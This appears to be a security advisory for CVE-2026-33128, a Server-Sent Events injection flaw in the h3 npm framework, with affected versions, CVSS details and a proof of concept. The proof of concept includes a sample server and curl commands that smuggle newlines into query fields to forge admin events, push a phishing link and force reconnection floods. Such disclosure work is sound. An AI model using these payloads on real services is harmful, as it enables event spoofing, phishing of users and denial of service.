CVE-2026-33128

ADVISORY - github

Summary

Summary

createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.

Details

The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:

export function formatEventStreamComment(comment: string): string {
  return `: ${comment}\n\n`;
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
  let result = "";
  if (message.id) {
    result += `id: ${message.id}\n`;
  }
  if (message.event) {
    result += `event: ${message.event}\n`;
  }
  if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
    result += `retry: ${message.retry}\n`;
  }
  result += `data: ${message.data}\n\n`;
  return result;
}

The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.

None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:

  1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives
  2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one
  3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS)
  4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection

Injection via the event field

Intended wire format:        Actual wire format (with \n injection):

event: message               event: message
data: attacker: hey          event: admin              ← INJECTED
                             data: ALL_USERS_HACKED    ← INJECTED
                             data: attacker: hey

The browser's EventSource API parses these as two separate events: one message event and one admin event.

Injection via the data field

Intended:                    Actual (with \n\n injection):

event: message               event: message
data: bob: hi                data: bob: hi
                                                        ← event boundary
                             event: system              ← INJECTED event
                             data: Reset: evil.com      ← INJECTED data

Before exploit:

PoC

Vulnerable server (sse-server.ts)

A realistic chat/notification server that broadcasts user input via SSE:

import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";

const app = new H3();
const clients: any[] = [];

app.get("/events", (event) => {
  const stream = createEventStream(event);
  clients.push(stream);
  stream.onClosed(() => {
    clients.splice(clients.indexOf(stream), 1);
    stream.close();
  });
  return stream.send();
});

app.get("/send", async (event) => {
  const query = getQuery(event);
  const user = query.user as string;
  const msg = query.msg as string;
  const type = (query.type as string) || "message";

  for (const client of clients) {
    await client.push({ event: type, data: `${user}: ${msg}` });
  }

  return { status: "sent" };
});

serve({ fetch: app.fetch });

Exploit

# 1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"

# 2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"

# 3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"

Raw wire format proving injection

event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit

The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.

Proof:

Impact

An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.

Attack scenarios:

  • Cross-user content injection — inject fake messages in chat applications
  • Phishing — inject fake system notifications with malicious links
  • Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system)
  • Reconnection DoS — inject retry: 1 to force all clients to reconnect every 1ms
  • Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection

This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.

EPSS Score: 0.00038 (0.113)

Common Weakness Enumeration (CWE)

ADVISORY - nist

Improper Neutralization of CRLF Sequences ('CRLF Injection')

ADVISORY - github

Improper Neutralization of CRLF Sequences ('CRLF Injection')


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

7.5high
PackageTypeOS NameOS VersionAffected RangesFix Versions
h3npm--<1.15.61.15.6
h3npm-->=2.0.0,<=2.0.1-rc.142.0.1-rc.15

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

There is no impact to availability within the impacted component.

NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

7.5high